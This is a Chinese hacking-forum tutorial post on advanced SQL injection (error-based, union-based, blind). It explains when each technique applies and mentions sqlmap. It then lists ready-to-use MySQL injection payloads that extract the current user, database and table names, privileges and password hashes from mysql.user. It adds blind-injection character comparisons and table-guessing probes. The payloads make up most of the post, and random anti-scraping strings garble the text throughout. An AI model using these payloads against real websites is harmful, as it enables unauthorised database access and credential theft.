放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
% X0 r F% k* o
# I/ Q. t1 {6 o, T这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
- C! r/ ~( a) g2 W( c1 e* y2 X2 { 0 b4 e0 H4 l: _2 F8 n9 _
分类标准 分类 备注1 J' A/ M! g3 k! Y
按字段类型 整型注入,字符型注入
, A3 q3 G2 z& |3 q1 x按出现的位置 get注入,post注入,cookie注入,http header注入
- V% R+ a4 S) ~$ p* u) [( [" v) g然而高级注入是这样的
% W, c4 \( Z; S ( x$ `# G. _& B' [1 _3 O' X
高级注入分类 条件& `/ y+ K2 s3 u% y* @
error-based sql 数据库的错误回显可以返回,存在数据库,表结构
1 [/ W& A& v. P+ h- @& Funion-based sql 能够使用union,存在数据库,表结构
% \* U1 i8 t8 _2 d/ yblind sql 存在注入
. X: w( r* A; E _3 l4 M我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
5 @9 E4 ^8 g# `/ G: U
4 G# d" @2 K5 ^ z; v5 a# U* a, M好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
9 ` N& ^1 D% ]0 i/ U- U " E( M/ X1 ?: d3 q+ V4 Y, p
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
: g4 ?: x5 P A: E* C. }
/ n o6 v1 G5 ~" Z8 G X这里用mysql说明
) Y( u3 u$ e0 g6 [! C5 ^ / r' l" q* ]& \: ]+ u5 U2 K
e注入坛子里很多了,请看戳我或者再戳我
3 |7 i$ U. h. E8 l" U9 Q6 a9 k
8 [/ ~/ f8 c3 @9 z; o7 M6 j- g& _u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的$ V/ S; w( a( n* `7 ~1 W8 s* m
( i8 q& d4 e5 _- e8 ~+ P
获取当前数据库用户名; u9 l+ g! N7 f1 P! g, P: @
( {7 i G; M' X
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
. [$ P) B5 j- M7 b3 C9 }/ Q4 Z vAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL0 Y9 D4 I( ]6 d. R
L, NULL#$ v* M9 F6 T/ q$ F/ F
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
( k I7 L3 |, V/ } A2 M
H) D9 H' f: h$ d# t; M" u获取数据库名9 A: D5 I/ A1 k% u" ^5 I' o S
8 @ k: g" n0 l% w
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
0 P" L. B9 O3 E获取所有用户名* o; J6 ]3 v( E1 }3 v6 U
c$ ^/ N, M' ~- k6 q! _
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#& S( i j! C9 Q& f4 s! r0 L
查看当前用户权限
# v# h$ Z2 K# _) Z ( K3 C/ w4 ]1 g; G' N7 w) q. j/ V8 [
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
: w- o/ \, g1 M- D$ m2 o7 n尝试获取密码,当然需要有能读mysql数据库的权限0 ~5 D% a- F- m1 k0 l% r* i
* f6 U, V; [0 l' U9 lUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#2 s3 v! @9 G8 N9 E6 D. m7 [ y
获取表名,limit什么的自己搞啦' D3 B3 g! V& G) _" \* T" P
: ]$ K4 l. a! h1 h8 eUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
7 S [% z& E# f2 R7 h获取字段名及其类型+ j# r/ A- t5 g
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
4 y0 D& J8 y" c/ E
# Y" v5 z5 b& D3 o" @. _b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
9 R; t* x+ G. B: | 7 S& u. `/ }5 s& v6 F
如:* a1 \/ |2 J1 c2 n
获取当前用户名+ w0 T; [6 O$ X/ ~4 \3 L0 S# a
* i& `, x# |' N+ ]3 V, Q$ G
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
) e' X( U5 Z5 Y2 ^- q, [获取当前数据库
! {; ? M! _9 {. L& H: X% Y0 S + ]9 J% G' K$ a# j4 n
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 1068 ?! D! j {0 [$ ]: m
获取表名8 m0 o7 n' g2 X9 _
* N3 }; t1 ~8 AAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51, F0 Y4 \, T1 y6 ~; l
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。# T9 M" R# c/ a$ j
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
4 B5 _% Q& S F爆表" k& K' q" Q G z% I: C2 g
! Y: \3 m4 D% D- j0 X- f
AND EXISTS(select * from table)
- N/ B7 G- f ^4 k( \2 g' P爆字段( H* J2 `6 P2 @
+ ~) z7 _% Y2 X" k# n8 m+ H( p! Y
AND EXISTS(select pwd from table)
' @ Q1 {7 W( c( `: d& ?, l盲注的变化就比较多了,由于篇幅,只是举个例子而已。% L5 Q5 ^+ U; `2 w
* S2 z8 C) T+ I3 U. I本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。, r/ N& K8 L) Q2 d9 h! I, u
|